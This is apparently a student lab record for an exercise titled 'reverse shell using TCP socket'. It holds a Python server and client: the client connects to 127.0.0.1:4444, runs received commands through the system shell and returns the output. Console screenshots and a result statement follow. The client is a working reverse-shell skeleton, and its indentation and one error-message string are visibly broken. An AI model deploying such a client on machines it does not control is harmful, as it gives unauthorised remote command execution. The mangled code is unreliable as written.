

Exp :8 Develop a program to create reverse shell using TCP socket**Date:23/9/25****Aim**

To create a client–server communication system using Python sockets.

Introduction

Socket programming allows two programs to communicate over a network.

In this program, the **server** sends commands, and the **client** executes them and returns the output.

Procedure

1. Import the socket, os, and subprocess modules.
2. Create a server socket, bind it to IP 127.0.0.1 and port 4444, and listen for clients.
3. Create a client socket and connect to the same IP and port.
4. Server sends commands; client executes them and sends the result back.
5. When quit is sent, both programs close the connection.

Program**Sever:**

```
import socket
```

```
import threading
```

```
host = '127.0.0.1'
```

```
port =4444
```

```
def create_server_socket():
```

```
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

```
    server.bind((host, port))
```

```
    server.listen(5)
```

```
    print(f"[*] Listening on {host}:{port}")
```

```
    return server
```

```
def handle_client(conn, addr):
```

```
    print(f"[*] Connection established with {addr[0]}:{addr[1]}")
```

```
    while True:
```

```

try:
    command = input("Enter command (q to quit): ")
    if command.lower() == 'quit':
        conn.send(command.encode())
        conn.close()
        break
    conn.send(command.encode())
    response = conn.recv(4096).decode()
    print(response)
except Exception as e:
    print("[!] Error:", e)
    conn.close()
    break

```

```

def start_server():
    server = create_server_socket()
    while True:
        conn, addr = server.accept()
        args = (conn, addr)
        threading.Thread(target=handle_client, args=args).start()

```

```

if __name__ == "__main__":
    start_server()

```

Client

```

import socket
import subprocess
import os

host = '127.0.0.1'
port = 4444

def connect_to_server():
    try:

```

```

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client.connect((host, port))

while True:

    try:

        command = client.recv(1024).decode()

        if not command:

            break

        if command.lower() == 'quit':

            break

        if command.startswith('cd '):

            try:

                os.chdir(command[3:].strip())

                output = f"Changed directory to {os.getcwd()}"

            except Exception as cd_err:

                output = f"Failed to change directory: {cd_err}"

            client.send(output.encode())

        else:

            process = subprocess.Popen(command, shell=True,

                                       stdout=subprocess.PIPE, stderr=subprocess.PIPE)

            output, error = process.communicate()

            client.send(output + error if output or error else b" ")

        except Exception as e:

            client.send(f"Error: {str(e)}.encode()")

    client.close()

except Exception as top_err:

    print("Could not connect to server:", top_err)


if __name__ == "__main__":

    connect_to_server()

```

output:

```
Microsoft Windows [Version 10.0.26200.6899]
(c) Microsoft Corporation. All rights reserved.

C:\Users\swarn\Documents>python revss.py
[*] Listening on 127.0.0.1:4444
```

```
Microsoft Windows [Version 10.0.26200.6899]
(c) Microsoft Corporation. All rights reserved.

C:\Users\swarn\Documents>python revc.py
```

```
Microsoft Windows [Version 10.0.26200.6899]
(c) Microsoft Corporation. All rights reserved.

C:\Users\swarn\Documents>python revss.py
[*] Listening on 127.0.0.1:4444
[*] Connection established with 127.0.0.1:51833
Enter command (q to quit): quit
```

```
Microsoft Windows [Version 10.0.26200.6899]
(c) Microsoft Corporation. All rights reserved.

C:\Users\swarn\Documents>python revc.py

C:\Users\swarn\Documents>
```

Result

The client and server communicated successfully, and the server executed commands remotely through the client.